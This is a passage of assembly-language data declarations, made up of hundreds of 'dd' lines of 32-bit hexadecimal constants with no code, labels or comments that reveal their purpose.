dd 634F5740h, 0F08B58DCh, 8C8039C9h, 0B04811DAh, 0C668470Dh
dd 8333140h, 0EC55007Dh, 4C542DE6h, 449039E4h, 9722240Eh
dd 29596C8Ch, 1FB938ACh, 6286C980h, 3FFCAD1Dh, 39B16604h
dd 0F08044F9h, 18B4B2DEh, 6971CB65h, 48A02B3Dh, 380A6C2Fh
dd 6CACBB8Ah, 2ED5700h, 4078BCh, 47BAAE87h, 0C952B211h
dd 82396460h, 96143Bh, 0E416A5D7h, 0BFA760EAh, 4C946604h
dd 0C0C94BAAh, 12006C26h, 4736B635h, 6500F8EFh, 0AFDB1DEEh
dd 2EBA92D4h, 3C4A124h, 722F111Fh, 20469892h, 2612F8EAh
dd 4B00C40Dh, 88E38767h, 7D7E3AC3h, 3C50D302h, 0CC668CDAh
dd 49027A00h, 0BF43B573h, 3BE400D3h, 0BAF50BE9h, 0EA0BA872h
dd 47A183Eh, 1A476140h, 0B55BD078h, 8B004B54h, 694D99A5h
dd 3D3863F9h, 0A08AA693h, 3D4C83B9h, 815DEC1Eh, 0E904060Ah
dd 0E7B9D09Ch, 110F0200h, 0CBDA2EF3h, 0DB190224h, 215FBAC7h
dd 5DEAFD63h, 0B0B100C0h, 0AF8C4662h, 0D0F46008h, 52920998h
dd 94981130h, 0CE00F8D7h, 0BFB54DC8h, 1E46486Bh, 5F7F1DBCh
dd 0FC2000DEh, 1C5EEAAEh, 4734C603h, 729527AFh, 44B5049Ch
dd 0C08E2D18h, 0D03181C0h, 0C7363200h, 66BD1289h, 0BE6D2ECCh
dd 0AF110093h, 10C41F0h, 97E74C16h, 9CDE3C21h, 135BF520h
dd 20B8E467h, 9B3812CCh, 35A9D004h, 88CD3E07h, 0DF00A447h
dd 5D79AE7Ch, 3A2500F7h, 6BE4D410h, 3B430A00h, 2803A5BCh
dd 0AB070E37h, 74E09FACh, 0CAB57E1Ah, 2CB990B8h, 8A764801h
dd 0FFDC8513h, 0F36F1C92h, 722C124h, 0FC045986h, 793AD4ADh
dd 206A044Fh, 9C882318h, 0FDE0007Bh, 11B9FB8Eh, 8607EECCh
dd 0BF75E16Ch, 773DCEF0h, 0B1A126BDh, 7B481188h, 1997D21Ch
dd 0A8A6D940h, 0C05FCFBAh, 214AC0E9h, 8900B464h, 8711CE2h
dd 3067F933h, 0BA41493Dh, 600079Ah, 0BE49853h, 89D6253Eh
dd 0CAD98082h, 9A87521Dh, 9C18008Fh, 0C4CFEA21h, 0FA4AC7A5h
dd 689E9000h, 0EBA7D981h, 0C0F01080h, 0CFDB2387h, 5E52B02h
dd 64E8F9D7h, 948E002Ch, 36151B90h, 0ADF84CD6h, 1295E608h
dd 45FE0054h, 2DB30D69h, 79A68F18h, 0E19D39h, 81823466h
dd 3BC2D8A3h, 0AF00257Eh, 11E6C970h, 5CE45496h, 0E1DE0CBBh
dd 2480F61Dh, 278AB9CFh, 31380082h, 3E18D6A3h, 0F9D0C926h
dd 0AF231884h, 4F4441h, 6558A335h, 6026A4E5h, 0B4A1FF29h
dd 8358F80h, 1A2949h, 0E77EFA51h, 0E0C6D918h, 1DA9AC00h
dd 5E26A7A2h, 0E310C6AAh, 0A631914Ch, 4E32D96Ch, 3E87BEE9h
dd 307C3490h, 0C69814B6h, 7353DB00h, 73F16DFh, 0E4D7130Ah
dd 406020BEh, 0AC946068h, 10233D8Bh, 0EDF09Ch, 0FC077742h
dd 6DCDF173h, 8C2252h, 3AF8B708h, 98ABA3h, 172C07C1h, 0C6912719h
dd 0E4420E04h, 18B49796h, 1F3A00ECh, 0D089148Bh, 0A0070327h
dd 1ADE189Eh, 21E400D9h, 1EE30DE5h, 6BC9A4Ah, 9942AB75h
dd 0E6018D03h, 9AE8D0BFh, 745C40A4h, 0B34B8B4h, 0C8ED626Eh
dd 8EF8F490h, 7859760Eh, 0E4BD80B2h, 32DD094Eh, 7268E256h
dd 0E6C154E0h, 0DF190B00h, 0E4C4448Bh, 0DAFB011Ch, 0F53D5339h
dd 12862C1h, 0E148E00Ah, 7883E9B7h, 18A46D25h, 246634CAh
dd 0D5039A7Ah, 0E4ECF52Eh, 6365F90Dh, 0DA00B422h, 41F1A970h
dd 1898EA9Fh, 0F7011DE8h, 0B8EEDDAFh, 5ED0FA0Dh, 2907828h
dd 77C11141h, 6460B936h, 0A8A30294h, 0C724F819h, 48628299h
dd 4D43EA01h, 38B6317Dh, 11188018h, 1B49CDDh, 5BEDE942h
dd 60D41315h
dd 694CD59Fh, 8575C058h, 3D7180h, 4431B9D8h, 83B2D4E6h
dd 0AFE34F00h, 16261FEDh, 38C101FCh, 2B3E1274h, 0EA6997D2h
dd 53D9E030h, 0B93400ADh, 0ED4931F4h, 604A657Fh, 2DAF6440h
dd 5497AB1Fh, 69CF3h, 71590724h, 0EC748CD7h, 0DF5E6100h
dd 0D1257F99h, 92C11EA2h, 0A1D54214h, 5CA06302h, 85A9A7D2h
dd 0CE8B3400h, 0E6C84BAEh, 45E100BCh, 46FD1841h, 0A63065EBh
dd 7CFAA14Ah, 0B4081C78h, 0B3A040A9h, 32AA246Ch, 0E582500h
dd 1B95D280h, 69C7A13h, 81468F77h, 731D71BDh, 1E03CC45h
dd 0D83D316Ah, 24CDEFBh, 0F13CD10h, 7051B7E2h, 0E0523E62h
dd 4D972DE4h, 0A8031435h, 7094E6C4h, 6E452C88h, 3672E700h
dd 79094427h, 0F1AB3EFEh, 7F021C5Ch, 0E4BEC8E6h, 0D09DE000h
dd 7DD7B2Ah, 3A66DB9Ah, 8927185h, 0DCEE497h, 0E719820Eh
dd 600C80E5h, 1370775h, 8A74502h, 22B6E212h, 40C92C5Ch
dd 60C47342h, 8E8198h, 0CFBE0372h, 2350AD62h, 0D2FE6B7Dh
dd 0F01EF17Fh, 106653F8h, 7FCEB004h, 1C4890C8h, 0E437F686h
dd 3B5C09B4h, 836A9804h, 4088E788h, 1503C4EDh, 0E8AB515Ah
dd 0D03948DBh, 8F4ECEC0h, 0AE003719h, 2905930Ch, 192866Ch
dd 0F01C87BFh, 43A79C8Ch, 12806718h, 9F001F6Bh, 5785C5FAh
dd 3F61805h, 5FE2213Eh, 0AFA7B296h, 0A4F76504h, 1876BA08h
dd 93007290h, 11976A07h, 7C696138h, 0F13406AAh, 0A1707FEAh
dd 0F0DE980Ch, 0ADD222h, 75E41C82h, 4A5A97F6h, 81B6230Bh
dd 473C0061h, 0B1A67E1Eh, 9E803F54h, 4CF25F21h, 0DA0214C5h
dd 0B984CC61h, 124E0EDh, 0C19901D8h, 0ABE762A3h, 261DC495h
dd 4EB0A498h, 0CDC95412h, 0B4372440h, 60E944h, 15B24686h
dd 0E4AA876Dh, 5E000499h, 92138C2Ch, 2F980336h, 3E04685h
dd 87FE0BC0h, 34DA7205h, 8420A652h, 0F5AA15h, 77DB7DC4h
dd 6FDA3DE7h, 0FF2080B0h, 820211C8h, 0EA0D006Eh, 0B4DF2AE2h
dd 41290008h, 695B3945h, 8A3E3493h, 0F1BF0271h, 5184A2EDh
dd 54B20574h, 0C99CA655h, 1146823h, 0ECFE002Bh, 9C9BCB5Bh
dd 0F800EF56h, 0C118C5D9h, 42A91CFh, 68485444h, 0BA4CB461h
dd 63EA4702h, 5A84D9FFh, 0A58C00A4h, 6BF94236h, 2209CD66h
dd 0C88231F2h, 0D3D048h, 2E30A8B5h, 86B8A55Ch, 0AC114408h
dd 406E8735h, 0A12900D4h, 0CCA01C99h, 61B0B072h, 0E8787F00h
dd 9669A425h, 713CBA85h, 5CAC583Fh, 9C012880h, 816E718h
dd 0A0888852h, 70F001Eh, 0EB3F965Dh, 742D346Bh, 15A08792h
dd 0E213BF10h, 80D4B1B8h, 9F822F4Ah, 0F100B5D0h, 0CF3F0738h
dd 2D5F2CEEh, 3825273Ch, 0CFE88C65h, 0E62BCD06h, 16A0B1F3h
dd 584F12Fh, 0A4823D40h, 0A3008F34h, 3937182Eh, 0B0B63511h
dd 5C617943h, 0DD806498h, 392F6541h, 3DCF1609h, 0F60099Fh
dd 3A6166F7h, 85C0C071h, 0E19FC278h, 12B44849h, 0A0D8DC57h
dd 411384BBh, 3CC8EF68h, 1862422Dh, 4B594FFCh, 0D9D0DDAh
dd 0C0781E18h, 5C9C972Fh, 20C44140h, 0ACFB166Dh, 77F0025Ch
dd 0F0438EBBh, 293DA687h, 161D3B7Eh, 39C9F985h, 527A8084h
dd 7DAAD415h, 36982683h, 0D6AF80D0h, 0E5E98B7Bh, 0DF5B4800h
dd 15B9C5ACh, 500B3AF7h, 0BAB0DB01h, 204935A9h, 3E007D9Ch
dd 0E8E7DD08h, 185206Eh, 0CAE1954Eh, 0D49A4463h, 714B3D35h
dd 0EBF92420h, 8B381E67h, 0A7B0C9ECh, 5FAC68C8h, 0EE0080E4h
dd 55092365h, 0B1B142BFh, 7FA3809Ch, 25AA8826h, 0C5D8900h
dd 0AB665EA8h, 7E93039Fh, 0BE4453E5h, 508F188h, 0C5EAD500h
dd 40B46007h, 8BA4837h, 1F16F605h, 12DC123Fh, 55103AAh
dd 64F9EB8Ch, 18B04860h, 0B6BD900h, 5B3738D0h, 0EF460094h
dd 0CF481F5Eh, 42483108h, 5D261D50h, 4053AA02h, 40F868h
dd 0F92E8732h, 4E7C9A49h, 0CB5912Ch, 0E4B37D09h, 89A73D90h
dd 918AD080h, 9F5D358Dh, 0BC21493Fh, 4054840Fh, 0F888A6E9h
dd 0B4BA007Bh, 4A477E39h, 1B01B8A1h, 0F7AF6F25h, 2822FA64h
dd 0B090B025h, 3001819Ah, 796D16F5h, 53D41B85h, 0B75B1F8Ch
dd 6780F9BEh, 4F2FC7CEh, 5EEEF80Ah, 0CCDF38A0h, 348FECA0h
dd 92B0F05h, 0CC88289h, 534E00BEh, 85DC75BCh, 4165145h
dd 7C027147h, 461707E9h, 157000A4h, 904CF357h, 0CF4C9DBEh
dd 603A8FF0h, 9EBCC820h, 4844B00Ch, 8F2C2C36h, 417A80A4h
dd 0A7250D0Fh, 8180089Eh, 0E19985BCh, 723400F3h, 70455B78h
dd 0E800BD44h, 4C23B559h, 39FBACCh, 0C2F4ACE7h, 0CE8AAFA3h
dd 48071452h, 0B4FAF5BFh, 61A878F0h, 2B11022Fh, 0CF7377E8h
dd 6A008452h, 0FEFCBB20h, 96223DA4h, 17148014h, 0AA6A2D19h
dd 8C6DF7h, 4CBE7912h, 209E15Bh, 0A32F18A8h, 1C40F5B4h
dd 0C825CD26h, 0A92890B1h, 8EA7001Ah, 2B939004h, 905259Ch
dd 0A0E2BE26h, 3ED79CCCh, 8400FCA9h, 0B505DEFFh, 1F0095CDh
dd 1307E108h, 0B9ABCB42h, 90620010h, 3155BA53h, 248E0607h
dd 6A102688h, 1CFE8B08h, 68B3DF04h, 187500B0h, 3BE9F6AEh
dd 3EE4E8DAh, 952EA760h, 0D2D7203Dh, 5F9C30F1h, 0FF21DB0h
dd 0AB7170F5h, 0E0F07B02h, 80CFBA30h, 58590E18h, 0AF480EF4h
dd 63A0C287h, 35948B3Ch, 0E86DC70Bh, 1B94A7B0h, 0BD222650h
dd 0BECBCA5h, 5048CFA7h, 91D191Dh, 89FDD85Ch, 60CBF7B3h
dd 0CF3FAC9Ch, 972022F1h, 0B2DDE5F5h, 0D5018C1Fh, 1D5D329Eh
dd 0CFB8A243h, 0E85100CBh, 0C20B94D0h, 0DA043E01h, 9C476372h
dd 2000B0A2h, 265B2A70h, 0A900B971h, 68291227h, 38F730h
dd 4E23C40h, 0C8F60618h, 183689Ch, 983AAE6Ah, 365B81Fh
dd 0BA2B0851h, 2D98D3E1h, 0AF12AA8Dh, 4CE4E7A9h, 0B3061241h
dd 3C0808E1h, 10CCC781h, 3828A38Ah, 0B2185D05h, 0BA100097h
dd 178A62FBh, 49858430h, 7F8E0C5h, 0DD070149h, 7897F09Dh
dd 0EB741C9Eh, 0C6CBD377h, 4428E4E2h, 0A679FE40h, 485D4200h
dd 4B11CF60h, 0D0830B97h, 5C108144h, 35B0C576h, 0B9D85000h
dd 9D05E219h, 89405F0h, 80C2E7D9h, 81FBEAFEh, 0E9A4E000h
dd 34261018h, 1731EAAFh, 0CBAA3E5Bh, 0C21000B8h, 0C562DBFDh
dd 8E8F0769h, 21764331h, 2B91FA20h, 0AB53A041h, 4181E0E5h
dd 7F3105E4h, 0A211804Bh, 7BBF2CECh, 56A500A9h, 7AF0FC5Eh
dd 0C0B072C8h, 0B63E344h, 69BA2326h, 0A9A8DC10h, 0B2D41D12h
dd 98093C13h, 14122Eh, 49F20BC0h, 989F6ADh, 37216596h
dd 4824C820h, 7203F797h, 89AAF9B5h, 9DF8C02Ah, 0B1651E54h
dd 0ECC941DDh, 68B3111Eh, 0C51773D8h, 70641776h, 0FF5E54C0h
dd 42BB0061h, 0E5199410h, 78B2FDC3h, 0A4E44013h, 4C400437h
dd 663F28h, 4EEB4386h, 2CCC2B1Fh, 0FB005F98h, 13E8E94h
dd 5067AC35h, 88DE808Bh, 0E605CF36h, 5E7AB839h, 7B88E000h
dd 5DDB4Ah, 95F1FD2h, 60AA27CEh, 5B002BB8h, 8D73F47h, 230F042h
dd 0A0E9766Eh, 6C60AD17h, 0BE380148h, 0FB7385E8h, 9880E2FDh
dd 4C3DA256h, 35809428h, 0C18A70AAh, 1016652Dh, 728AE00h
dd 0A21E79A6h, 0E761029Ch, 17CD84E1h, 29B7E570h, 802428E8h
dd 0A1333BD0h, 0B416D1Ch, 0A884F014h, 64F641AEh, 0A1105963h
dd 250D3218h, 514EAB0Fh, 140050F2h, 0E497C220h, 0EAFD8180h
dd 0F100776Dh, 1FC7D53Ah, 0E910775h, 476CB082h, 1DE03EEAh
dd 11F2C071h, 594F40E7h, 80717E0h, 44A72821h, 0CDDA2FC0h
dd 80249993h, 0DB070F9Eh, 38F06EF5h, 807D143Fh, 2C9F9495h
dd 4CC7F3h
dd 0B2B41548h, 90C68227h, 3F189D0Fh, 834BA7CFh, 53EA7C40h
dd 48B148C2h, 0F95B2100h, 8DD23E15h, 0A9AB8E04h, 28A9E4DFh
dd 7AA5C5C0h, 0C800D874h, 168B4CD4h, 1398DBAh, 2A9465D5h
dd 8C75E4AAh, 0D82E0839h, 0D7263A0Bh, 54039D00h, 233E2A1Bh
dd 0D341F0B4h, 0A020CA0Dh, 5F4678A1h, 2D742036h, 4D1367C1h
dd 82AB255Bh, 0ECE4A617h, 0F1E1C600h, 7D93C65h, 0BFEC061Ah
dd 2138A66Ah, 30AA7402h, 468DE865h, 0EA1E0ECh, 0C7C1A687h
dd 0F608EB80h, 780984D9h, 0E4EA329Ch, 643B0070h, 44439179h
dd 78384540h, 4FC00092h, 0C2B9DACh, 0DC4B12BDh, 0F9E50097h
dd 0AF68C1DBh, 0F009ACF4h, 7ACF4608h, 538C0020h, 980D32CEh
dd 0FFE827CCh, 0EB706C00h, 0E8B92ED3h, 0B80E3A35h, 0E2CCA302h
dd 1C56FE19h, 422794C0h, 4C530034h, 0DE173111h, 0A50C1DAAh
dd 69BC233Dh, 80C8967Fh, 6F0B7BC0h, 46005DC6h, 7E8D8986h
dd 24BA44AEh, 208A0D2h, 0B0101488h, 5ACDE460h, 1E0C3797h
dd 0ABFC8AADh, 2BB340BCh, 0D00BE1Eh, 31611116h, 0A13D65E1h
dd 0A8F3BA10h, 5047AFC9h, 0DDD24Ah, 2719295Fh, 0F6431721h
dd 86B2E650h, 0B4E41116h, 0C6FDDC30h, 93F80112h, 0A3AEA74Eh
dd 202E41h, 38B5E68Eh, 8804933h, 4DE41019h, 0E70418A0h
dd 81F66C7Dh, 468E4h, 52810C7h, 0C351ADD6h, 1576F100h
dd 640282F6h, 4001036Fh, 0F5AEE6E1h, 0E2C69698h, 0A1472D18h
dd 16DCA650h, 430E17Bh, 0B0DB1F4Ch, 840968D8h, 99E0E7AAh
dd 5EC83810h, 7192010Eh, 1F205236h, 750030E7h, 1CBDE426h
dd 3EE94040h, 80709497h, 0A661A894h, 690070DAh, 0C23847A3h
dd 61145676h, 962170C1h, 3F82F0BFh, 722C7888h, 364D004Eh
dd 1DD13415h, 0CE00E056h, 7305A516h, 2A28AD3Ah, 5CC8B5E5h
dd 3100925Ah, 0B06E1CD5h, 7F0668EFh, 1DD894B6h, 7CF408h
dd 99FD5BDDh, 2F51A96Eh, 61BDD11Dh, 0B4D02B46h, 0B0320F31h
dd 0B000AF3h, 4897454Eh, 12A79F1Ch, 503F7DC0h, 44F6B79Eh
dd 0ED0622B2h, 14D8A596h, 7BD1C69h, 1CDE802Fh, 11FAFE0Ah
dd 243DF400h, 1E2E909h, 0B7A6307Eh, 0C1A53040h, 71FA5707h
dd 2BF0F052h, 755548C7h, 0B697030Ch, 83C21A90h, 0F4143100h
dd 3752ECA0h, 0F8F241h, 4397E906h, 77E016A6h, 0B099CC67h
dd 0BBD1A65Fh, 130E0111h, 0DCEA5CB8h, 0FBD8CF0Dh, 3D039C07h
dd 3D183D4h, 0FE28017Eh, 9DA48434h, 6D75CCE1h, 0E96A5A00h
dd 0BBAD8E73h, 0C5041CA6h, 0B5340D0Dh, 4BC06E68h, 88F7F3h
dd 0E214B7E9h, 19AE6543h, 2122A8C1h, 48C828E6h, 113E0664h
dd 71012BB7h, 0EE413107h, 7AE30B2Fh, 8DE9007Ch, 0F028420Dh
dd 0A00FAD47h, 0D873DF88h, 0E1D570h, 6EB9E043h, 8A5F3FFCh
dd 2A363A01h, 7E816630h, 75E5CEC8h, 517560CDh, 0EDC8FA56h
dd 0D8304E01h, 853E77D0h, 22EA00F2h, 8D01E2DFh, 64083B31h
dd 19E552E5h, 348021BFh, 0F24881DAh, 4A304020h, 0D7D6D8A6h
dd 0E06EEB66h, 967C8054h, 18327718h, 0A84F3439h, 0B3F290h
dd 0C608E8F0h, 59319FB8h, 6D1B7407h, 0F410E4B9h, 73BC727Dh
dd 0FD390E36h, 0EAE089B0h, 0BA3C1D95h, 0E2770E00h, 862A143Eh
dd 7E793010h, 7C61CFD9h, 9B38921Ch, 1FE70140h, 1E5C9A2h
dd 54CBA5A6h, 801E37E0h, 0CFD68F89h, 3D1A46B6h, 0C45651F9h
dd 0BF201300h, 9878A5Ah, 0C08F9801h, 77969DA6h, 0A01FEAC4h
dd 807FB8DCh, 0B36C97BBh, 33AF9859h, 8D11B434h, 0A43A37E8h
dd 443F610Eh, 38FCC114h, 0B9807D79h, 0AB9C97CDh, 2A00F303h
dd 0C999CB27h, 54DFBC9Ah, 782CA017h, 30B812DEh, 6F1C0010h
dd 92E87238h, 6B906D0Fh, 0F94C40E7h, 0F082C7Bh, 762405D0h
dd 0C044FA54h, 0DBC18846h, 0F8AF8E18h, 1FD2F006h, 40B1F62Bh
dd 3278B736h, 5C24D773h, 9C0354BFh, 6E92C97h, 0FFBB8B70h
dd 7D0149B1h, 1017A314h, 0A1F0796Ah, 0FA96E0B5h, 903D5052h
dd 0A84754F8h, 0C91B60D9h, 0E8AD1209h, 0A7003590h, 1EFE9CE4h
dd 33F1D08h, 2F87EF6Dh, 10005815h, 1BEABB60h, 2544341h
dd 9FAFAB67h, 9CA0777Eh, 0CFF1621Dh, 85E0400h, 53C7CEA7h
dd 0E1BF1507h, 0F3001437h, 0BD84B352h, 55032303h, 685A27ACh
dd 0E9108881h, 1E400ECh, 0BC7C65A7h, 0B354EFB4h, 11301AECh
dd 0B72BC688h, 220CA0F5h, 85D9009Ch, 36DBA23Bh, 8CE8A5A1h
dd 7822F5h, 0C1FC8FD4h, 3DC428A6h, 0F700A547h, 4B14D151h
dd 3205E38Ch, 0AEFFB903h, 7F58A851h, 5C1C7400h, 0A8ADDFCBh
dd 1A7C51h, 59BE585Ah, 9F345B3Ch, 306E1003h, 9B770135h
dd 30797B81h, 0DC49717Eh, 8671BB30h, 0ADD8FB17h, 73D2BA00h
dd 9394B9EEh, 0F51658h, 7ABB4318h, 613B462Ch, 77EC486Eh
dd 2123F901h, 6DC86B9Ch, 77392880h, 0C25E3D0Bh, 0BE0006F8h
dd 0EAE7869Fh, 0C04803B9h, 0BA186359h, 11C5A996h, 0C823A079h
dd 9C5A007Dh, 7EE38940h, 3103A36Ah, 67BE13D3h, 50AA8870h
dd 204649D1h, 0DE08A600h, 0E323A9F0h, 726D8D01h, 5B4E7A45h
dd 701FB4C8h, 8861B0E5h, 11C3ED0h, 0EDAE306Ah, 0D5E37B8Bh
dd 0DCD08383h, 0ABC40727h, 6990058h, 43D84D81h, 7D0F8DBCh
dd 20275101h, 4AE9154Ch, 0BAC10A58h, 11641D03h, 4CE21D84h
dd 0D2CF4743h, 0F1C4B817h, 91710782h, 30E1D9EEh, 0A4A6FFDCh
dd 7BA4CA48h, 5BC03A00h, 64393F4Ch, 48574C11h, 264886C0h
dd 0EE0E01A1h, 61142008h, 0E96F80ECh, 8F070433h, 0D0B5114Eh
dd 9FE041D6h, 0BB0C20B3h, 17F299Ah, 87C23631h, 0D957BD81h
dd 0EA198012h, 0AA867B5Eh, 0B5CA488Ch, 1FAC6C0Fh, 0CE21E580h
dd 3FEC9D72h, 0B5447890h, 50D213BBh, 0D90800E1h, 0C21D0189h
dd 9847254h, 0FC0FCDF4h, 65D45932h, 0E700194Eh, 0C2E928BAh
dd 0E8520048h, 0D1EA9771h, 12B86CC5h, 2D5ECB12h, 3D599C00h
dd 983D7h, 553A45BCh, 3B4CD58h, 404B893h, 811E187Dh, 0C332CCC2h
dd 2BB4C4CEh, 0A829B065h, 3FD882AFh, 4C7068C6h, 0B4B18D0Fh
dd 3F2958F0h, 80C09943h, 0DD4F8EAh, 900097ADh, 0D21001E7h
dd 930CBB8h, 6094E212h, 31A20CDFh, 0CFA7Eh, 0F44F7514h
dd 0AA3A5263h, 411FCC00h, 0B335946Eh, 67B772FAh, 0A43E714Ch
dd 0DCA89116h, 812E600Ah, 9F591D00h, 0CEBD4614h, 0A8610A36h
dd 94D44D37h, 3316F72Dh, 0D4781C47h, 0A201AB87h, 0E4F9C9C0h
dd 8F2BC85Bh, 0A56B3600h, 671AF0EAh, 0F7B428AEh, 0D7310074h
dd 6F23981Bh, 0D5000915h, 3751363Bh, 91D69B13h, 7CC8802Ch
dd 7055970Ch, 2A0B3902h, 923377EEh, 6DFC80A4h, 0C99044h
dd 4769AAACh, 0F9D7E452h, 30E72B2Ch, 0DF217D60h, 0D02A00FBh
dd 821C1947h, 8800DD68h, 0C16F949Fh, 76603C7h, 1AA82B43h
dd 0BAACDA34h, 0FE694854h, 0E45A0039h, 0A568D28Eh, 93006167h
dd 0AEE781C7h, 4E9189Ch, 0F4F522C5h, 4238A4DEh, 0DBBABB00h
dd 5E462656h, 44EC5CFCh, 9F097E22h, 8434E911h, 1154AB94h
dd 27291C0Eh, 0BED0800h, 0D800B868h, 0CCA6CD67h, 6034230Fh
dd 91A4E143h, 212C8D41h, 32005C65h, 16F4C281h, 1EC051Ch
dd 0C7597013h, 0B7867384h, 1BD888E8h, 0EA9A908Bh, 0F602000Ch
dd 7B1CE50Bh, 0A4035F2Bh, 0FEBB8ADBh, 2069504Ah, 1DB9D608h
dd 0E2E2230h, 1C122888h, 877B2844h, 22B450C2h, 4409B7h
dd 0E0D952h, 26451ACDh, 6F770CCEh, 378A2181h, 38310038h
dd 4FA4592Eh, 3016FC7Fh, 0E409DA7Dh, 0FC430F0h, 0C93412A9h
dd 401C8D93h
dd 0B7706810h, 5165D87Dh, 388259D0h, 2908E003h, 7B2E0636h
dd 0D08D3F1Ah, 78DB4844h, 8985062h, 30240064h, 0D454B421h
dd 86076B20h, 2B55E332h, 4FCC51D0h, 0D0EF0063h, 0F6AA8FEBh
dd 3F18B9E7h, 0DD293718h, 0C6C32CE1h, 221303h, 12F229EDh
dd 2738665h, 0DA267001h, 8EBEDE41h, 60597EF4h, 0B33360E4h
dd 73016122h, 4CD68D88h, 188E7F9Eh, 0B809BE3h, 5275DD8Eh
dd 0E7A59A00h, 0EEA256E2h, 45AB0102h, 1E64D328h, 9F6EF86Ah
dd 84B28000h, 0CF717320h, 0C0917754h, 58974CC9h, 1B1B92C9h
dd 0E060061Dh, 0F247686Eh, 21491D04h, 31C3D8B2h, 0E1C3DB7h
dd 0CD00FA91h, 0AEEA6422h, 1EAA005Ah, 829D564Ah, 0EC031DDEh
dd 5B2AFA09h, 21D101E9h, 39C18A13h, 87B3E894h, 44181406h
dd 77D95499h, 0FECA0074h, 0E9EAAF4Ch, 1A18BEF1h, 0AE30A03Ah
dd 832900F4h, 0F9F5D00Ah, 0B9F8A7C3h, 0A0CBA300h, 0E9E626Dh
dd 718160B2h, 0A49FDE8Fh, 68398490h, 3D1D9508h, 62891FCCh
dd 0DBC0DC5Ch, 0FB98822Eh, 0C4A73BC5h, 6C9D9107h, 6960CCF0h
dd 72ADE203h, 752F834h, 7BDE56A9h, 4122704Bh, 15541EBAh
dd 0D7F6B89Ch, 8D7CB300h, 8E2AE1D3h, 396B6099h, 4E3B9501h
dd 270823F6h, 80091803h, 0E7FA39DFh, 210FA3DAh, 25C230h
dd 9D280FEh, 0D6C61ED0h, 0BAF94370h, 0F8283588h, 0EC50B073h
dd 6D18F8B8h, 0D76856D2h, 3AD02481h, 0CF3B0100h, 0C4F49138h
dd 70009871h, 2B581CBDh, 0EA8A4Dh, 83E0C349h, 0FAAF7E0Eh
dd 7D541215h, 0DAFC00A0h, 0FB168E91h, 0A68107B8h, 0E0805010h
dd 8F7AC28Ch, 55A05900h, 0AA1A2F57h, 0AB561204h, 6B6040CFh
dd 5E1CD5C6h, 91309C90h, 4C8119CDh, 8B040E87h, 0D0748DBFh
dd 0A7D03200h, 0E4F2CD52h, 0F831D528h, 42063C06h, 198027Fh
dd 68494827h, 2219C8B1h, 825A00B0h, 0FB22E88Eh, 0E6F70083h
dd 1B73160Eh, 3C015094h, 2ABDCC5Ah, 60243868h, 0E65FF86Fh
dd 0D6D8007Ch, 0BFA6C0F4h, 9C00B779h, 0D698587h, 3893FDFh
dd 0FBE3301Ah, 90078A0Bh, 7E841EB1h, 3465DF50h, 0E3B8A862h
dd 0E009118h, 28C1661Eh, 0EC89539Eh, 210AAF2Dh, 80CE9A6Bh
dd 0A84BBD80h, 246482C2h, 0B078FEh, 98DDE130h, 0D9CA8D56h
dd 0C560C42Bh, 2CF0E1Eh, 24BAD19Eh, 403FCAh, 8730563Ch
dd 4E363130h, 7AA00145h, 2086E81Ah, 25E1DC8Fh, 791B0458h
dd 801E2600h, 0A1AEBAC9h, 0E4053AFFh, 0C007B31Eh, 2E377981h
dd 92008A7Ah, 0D2950AEh, 18A331FBh, 307ED3AAh, 1F7BA69Eh
dd 740067F2h, 80763B8Fh, 0C627C3h, 99D2923h, 0A19E0604h
dd 0FE0FB9FAh, 9BF496F6h, 52E3C870h, 243101B2h, 3830E49Eh
dd 920EEC69h, 0DCA9B300h, 0D0775523h, 685D01CBh, 7F84C81Dh
dd 0FF50800Ah, 8099CDA0h, 26630EA5h, 16000B49h, 84B5EDC4h
dd 29CF09E2h, 0FD5B2022h, 6F6949E7h, 0A680B8F8h, 67FCF148h
dd 3012FE12h, 3C1BDF00h, 6DCB2Dh, 46BFAD16h, 2AA1580Fh
dd 31F18360h, 0E842340h, 6DA35537h, 78B2AAA6h, 81C8A101h
dd 2196C038h, 0E265E1CCh, 0BDE3154Dh, 9214B0B1h, 6A0E8370h
dd 2A49A555h, 0D71F9E81h, 0EDB860F7h, 24495401h, 9F98913Eh
dd 20D2C180h, 51DEB33Ah, 8FC0EA00h, 0BE1E019Ah, 3559C5A5h
dd 0EDDA0380h, 0ECD7361Bh, 0F6079E19h, 0DAAB7067h, 25232BA0h
dd 312C0044h, 0FB47B43Ch, 0A07BB038h, 0C2C018A3h, 11C0FABAh
dd 0DAB65434h, 5C530768h, 0C06FDF96h, 3A66C942h, 35330101h
dd 89D3AF60h, 3BB9419Eh, 5A217B80h, 0F9DEF147h, 9472B8A8h
dd 3C0443Dh, 0E0A5B453h, 79F2C041h, 0A4E5500Eh, 7FD63097h
dd 4893D549h, 0DB007476h, 8B75773Bh, 2C641E4Dh, 39C1F9BAh
dd 0A9A7849Ah, 0B08FA980h, 0B700385Bh, 8D68F422h, 6EDEAF80h
dd 0EB078150h, 18041197h, 0BFEB2174h, 0C6CB8019h, 0DA0A2F7Fh
dd 0EA73E4h, 0F79F201Dh, 791BCA73h, 0A0AC415Bh, 1416CC00h
dd 32F271A0h, 0C15B6B01h, 91D31BE9h, 6445B980h, 0EEAA184Eh
dd 62D64C00h, 5646F586h, 0BE0A008Bh, 10C27F5Fh, 250C1DF0h
dd 89FE049Dh, 0F89A5498h, 32F900EEh, 793EBE9h, 0FB0CBAD3h
dd 8A5B284h, 0A0FA497Fh, 80F8547Ch, 9143006Ch, 7C63B34Bh
dd 0D01C61Eh, 0A989275Fh, 59800696h, 0AF57E492h, 47031E3Fh
dd 5C1B56D8h, 7C19F186h, 4F01C183h, 0E690A054h, 5F03D042h
dd 69624134h, 92A900FBh, 0C2748B65h, 4B67C171h, 0B07167C6h
dd 75C04369h, 0DE6D1895h, 641231FAh, 8D5FAE00h, 5417065Ah
dd 0A49D148Eh, 0A3014C97h, 7322DF1Fh, 98D53028h, 0D0DEAD29h
dd 63A49830h, 0DAC601B8h, 726B1424h, 0D6A72067h, 71BEB6A0h
dd 0CE755F02h, 81226E31h, 9D96C4EFh, 3F624180h, 6CA5260Bh
dd 0BAFA2D0Ch, 792959A9h, 0C8160E06h, 0B8206040h, 0AB5503F0h
dd 5A37F601h, 0C06FEB7Dh, 72711840h, 0CBE50335h, 54336A87h
dd 98DA06F8h, 0A909CF7Ah, 815313C3h, 9FF7924h, 3395BC0h
dd 1F9291F3h, 491D9FBDh, 81FA82F8h, 0C977A671h, 86F448BFh
dd 8BF302FAh, 1DE6B50h, 401190A7h, 0E2572F76h, 1EFBFF00h
